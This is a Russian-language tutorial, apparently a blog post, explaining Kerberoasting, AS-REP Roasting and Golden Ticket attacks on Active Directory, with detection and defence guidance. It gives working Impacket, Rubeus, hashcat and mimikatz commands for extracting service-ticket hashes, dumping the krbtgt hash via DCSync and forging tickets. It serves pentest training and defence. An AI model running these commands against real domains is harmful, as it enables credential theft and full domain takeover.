Заход в мир Windows-инфраструктур начинается не с эксплойта — а с понимания того, как Kerberos доверяет всем подряд. Сегодня разбираем две классики: одну для быстрой добычи паролей, вторую — для вечной власти над доменом.
Active Directory (AD) — центральная нервная система корпоративных сетей на Windows. Она хранит пользователей, компьютеры, права доступа и служит единой точкой аутентификации через протокол Kerberos. Именно поэтому AD — приоритетная цель в 91% внутренних пентестов: по данным Positive Technologies, в 61% внутренних тестирований на проникновение успешно применялась именно Kerberoasting-атака. Захватил AD — захватил всю сеть.
🧬 Как работает Kerberos: минимум теории для максимума практики
Прежде чем ломать протокол, нужно понимать, как он работает в норме:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Аутентификация в Kerberos — три шага: 1. AS-REQ / AS-REP Клиент → KDC (Key Distribution Center, обычно = DC): "Я пользователь X, дай мне билет" KDC → Клиент: выдаёт TGT (Ticket Granting Ticket), зашифрованный хешем пароля krbtgt-аккаунта 2. TGS-REQ / TGS-REP Клиент предъявляет TGT и просит билет для конкретного сервиса (SPN — Service Principal Name) KDC → Клиент: выдаёт TGS (Ticket Granting Service), зашифрованный ХЕШЕМ ПАРОЛЯ учётной записи сервиса 3. AP-REQ Клиент предъявляет TGS самому сервису Сервис расшифровывает билет своим же хешем пароля и пускает клиента внутрь |
Ключевая слабость: Domain Controller не проверяет права клиента на запрашиваемый сервис при выдаче TGS. Любой аутентифицированный пользователь домена может запросить билет TGS для любого SPN, какой захочет. Билет просто зашифрован — а расшифровать его без пароля сервисного аккаунта нельзя.
Именно эта архитектурная особенность и открывает дверь для Kerberoasting.
🎯 Kerberoasting: добываем пароли сервисных аккаунтов
Kerberoasting (MITRE ATT&CK T1558.003) — постэксплуатационная техника извлечения зашифрованных учётных данных сервисных аккаунтов из Active Directory. Главное преимущество для атакующего: не требует привилегий Domain Admin — достаточно быть обычным пользователем домена.
Почему это работает
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
1. Сервисные аккаунты (Service Accounts) в AD часто имеют атрибут SPN (Service Principal Name) — например, MSSQLSvc/sql01.corp.local:1433 2. Любой пользователь домена может запросить TGS для этого SPN 3. TGS зашифрован NTLM-хешем ПАРОЛЯ сервисного аккаунта 4. Атакующий забирает TGS и подбирает пароль ОФЛАЙН — без риска блокировки аккаунта и без обращения к DC [web:265] 5. Сервисные аккаунты обычно имеют: - Слабые, редко меняющиеся пароли - Часто избыточные привилегии (Domain Admin!) |
Практика: пошаговая атака
Шаг 1 — Разведка SPN-аккаунтов:
|
1 2 3 4 5 6 7 8 |
# С помощью Impacket (Linux): GetUserSPNs.py corp.local/user:password -dc-ip 192.168.1.10 # PowerShell на Windows (без сторонних тулов): Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # Через Rubeus (Windows, C#): Rubeus.exe kerberoast |
Шаг 2 — Запрос TGS-билетов и извлечение хешей:
|
1 2 3 4 5 6 |
# Impacket запросит TGS для каждого найденного SPN # и сразу выведет хеш в формате Hashcat: GetUserSPNs.py corp.local/user:password -dc-ip 192.168.1.10 -request # Вывод: $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local~1433*$a1b2c3... |
Шаг 3 — Офлайн-подбор пароля через Hashcat:
|
1 2 3 4 |
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt # Формат 13100 = Kerberos 5 TGS-REP etype 23 # При успехе — открытый пароль сервисного аккаунта |
AS-REP Roasting — младший брат Kerberoasting
Похожая техника, но эксплуатирует другой недостаток конфигурации:
|
1 2 3 4 5 6 7 8 |
Условие: у аккаунта отключена преаутентификация (флаг DONT_REQUIRE_PREAUTH) Атакующему НЕ нужен даже пароль домена — хеш получается прямо на этапе AS-REQ/AS-REP Impacket: GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10 |
💡 Каждый внутренний пентест начинается с проверки двух вещей: есть ли Kerberoastable-аккаунты и отключена ли преаутентификация где-либо. Если хотя бы одно из двух — зацепка есть.
Детект и защита от Kerberoasting
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Мониторинг: ├── Event ID 4769 (Kerberos Service Ticket Request) — │ массовый поток запросов TGS от одного пользователя = алерт [web:265] ├── Тип шифрования RC4 (etype 0x17) вместо AES — │ явный признак атаки старыми инструментами [web:257] └── Honeypot SPN — фальшивый сервисный аккаунт-приманка, любой запрос к нему = 100% индикатор атаки [web:257] Защита: ├── Использовать GMSA (Group Managed Service Accounts) — │ пароли генерируются автоматически, 120+ символов [web:259] ├── Отключить устаревшие алгоритмы шифрования (RC4) ├── Длинные случайные пароли для сервисных аккаунтов (25+ символов) └── Принцип наименьших привилегий — сервисные аккаунты не должны быть Domain Admin |
👑 Golden Ticket: абсолютная власть над доменом
Если Kerberoasting — это добыча одного пароля, Golden Ticket — это захват контроля над всем доменом навсегда. Это одна из самых опасных и крайне нежелательных сущностей, которые могут завестись в скомпрометированной Windows-инфраструктуре.
Что такое krbtgt и почему это Грааль атакующего
|
1 2 3 4 5 6 7 8 9 |
krbtgt — специальная служебная учётная запись, которая используется KDC для шифрования ВСЕХ TGT-билетов в домене. Хеш пароля krbtgt = мастер-ключ ко всей системе аутентификации. Кто владеет хешем krbtgt — может подделать TGT для ЛЮБОГО пользователя, с ЛЮБЫМИ правами, на ЛЮБОЙ срок действия [web:258][web:260] |
Анатомия атаки Golden Ticket
Атака — это post-exploitation техника persistence, требующая уже полученных высоких привилегий в домене:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
Шаг 1: Атакующий уже скомпрометировал права Domain Admin (или эквивалент) — это ПРЕДПОСЫЛКА, не часть самой атаки [web:264] Шаг 2: Извлечение хеша krbtgt через DCSync (имитация репликации контроллера домена): mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt Результат — NTLM-хеш аккаунта krbtgt Шаг 3: Подделка (форжинг) TGT-билета: mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /ptt Параметры: /user — имя (может быть даже несуществующим!) /sid — SID домена /krbtgt — украденный хеш /id:500 — RID администратора домена /ptt — Pass-The-Ticket, инжектировать сразу в сессию Шаг 4: Атакующий получает TGT, который выглядит для KDC как совершенно легитимный — билет "предавторизован" системой [web:260] |
Почему Golden Ticket настолько опасен
|
1 2 3 4 5 6 7 8 9 10 11 12 |
✅ Работает даже после смены пароля скомпрометированного пользователя — билет форжится заново с тем же хешем krbtgt ✅ Атакующий задаёт СРОК ДЕЙСТВИЯ билета сам — по умолчанию в Kerberos TGT живёт 10 часов, но Golden Ticket можно сделать действительным ГОДАМИ [web:270] ✅ Даёт доступ ко ВСЕМ Kerberos-сервисам домена: контроллеры домена, файловые серверы, DNS, принт-серверы [web:260] ✅ Пользователь в билете может быть полностью выдуманным — не нужно даже существующей учётной записи [web:262] |
💣 Golden Ticket — это persistence-техника уровня «после нас выжженная земля»: даже полный сброс паролей всех пользователей не поможет, пока не сброшен именно пароль krbtgt.
frsecure
Детект Golden Ticket
Обнаружить сложно именно потому, что билет выглядит легитимным для системы, но есть характерные аномалии:
|
1 2 3 4 5 6 7 8 |
🚩 Kerberos-билет с нетипично долгим сроком действия 🚩 TGT для пользователя, который не существует в AD 🚩 Несоответствие между Event ID 4624 (логон) и отсутствием предшествующего Event 4768 (запрос TGT) 🚩 Триггер «неожиданный Kerberos 65535» — нестандартный код ошибки, часто сопровождающий фальшивые TGT [web:265] 🚩 DCSync-активность от аккаунта, который не является контроллером домена (Event ID 4662) |
Защита и восстановление после Golden Ticket
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
1. СБРОС ПАРОЛЯ KRBTGT — ДВАЖДЫ подряд (однократный сброс недостаточен из-за истории паролей и механизма ротации ключей) [web:268] 2. Enforce принцип наименьших привилегий ├── Минимизировать число Domain Admin аккаунтов └── Не использовать привилегированные аккаунты для повседневной работы 3. Внедрить MFA на всех внешних точках аутентификации (VPN, OWA/O365) [web:268] 4. Включить Credential Guard на рабочих станциях (НЕ на контроллерах домена!) [web:268] 5. Мониторить активность Kerberos-тикетов и аудировать логи AD непрерывно [web:264] 6. Не открывать RDP напрямую в интернет [web:268] |
⚖️ Kerberoasting vs Golden Ticket: сравнение
| Параметр | Kerberoasting | Golden Ticket |
|---|---|---|
| Требуемые привилегии | Обычный пользователь домена | Уже Domain Admin (DCSync) |
| Цель атаки | Пароль сервисного аккаунта | Полный форджинг TGT-билета |
| Место в цепочке атаки | Ранняя стадия (Credential Access) | Финальная стадия (Persistence) |
| MITRE ATT&CK | T1558.003 | T1558.001 |
| Что нужно украсть | TGS-хеш (офлайн-брут) | Хеш krbtgt-аккаунта |
| Требует брутфорса | Да, через Hashcat | Нет, хеш применяется сразу |
| Основная защита | GMSA, длинные пароли | Ротация krbtgt дважды |
🗺️ Логика полной цепочки атаки на AD
Как эти техники сочетаются в реальном пентесте:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Уровень 1: Начальный доступ └── Фишинг / слабый пароль → обычный доменный аккаунт Уровень 2: Разведка и Credential Access ├── Kerberoasting → поиск SPN-аккаунтов с слабыми паролями ├── AS-REP Roasting → аккаунты без преаутентификации └── BloodHound → построение карты путей до Domain Admin Уровень 3: Lateral Movement и Privilege Escalation ├── Pass-the-Hash / Pass-the-Ticket └── Эскалация до Domain Admin через найденную цепочку Уровень 4: Persistence и Domain Takeover └── Golden Ticket в AD — вечный доступ, независимый от смены паролей [web:267] |
🎓 Лаборатория для практики
Легальная тренировка перед реальными проектами:
|
1 2 3 4 5 6 7 8 9 10 |
✅ Hack The Box Sherlocks — форензик-лабы с реальными AD-инцидентами для расследования ✅ HackTheBox Pro Labs — полноценные корпоративные сети с Active Directory (Offshore, Cybernetics) ✅ Разверни свой AD-стенд: Windows Server 2019/2022 (Domain Controller) + Windows 10/11 клиенты + Настроить пару сервисных аккаунтов с SPN ✅ Инструменты для практики: Impacket, Rubeus, Mimikatz, BloodHound, Hashcat |
📋 Чеклист для начинающего AD-пентестера
|
1 2 3 4 5 6 7 8 9 |
✅ Понимаю разницу между AS-REQ/AS-REP и TGS-REQ/TGS-REP ✅ Умею находить SPN-аккаунты через Impacket/PowerShell ✅ Умею извлекать и брутфорсить TGS-хеши в Hashcat ✅ Понимаю, что Golden Ticket требует ПРЕДВАРИТЕЛЬНОЙ компрометации Domain Admin — это не техника входа ✅ Знаю, что единственное реальное лечение Golden Ticket — двойной сброс пароля krbtgt ✅ Умею находить индикаторы через Event ID 4769/4768/4662 ✅ Практиковался на легальных лабах (HTB, свой стенд) |
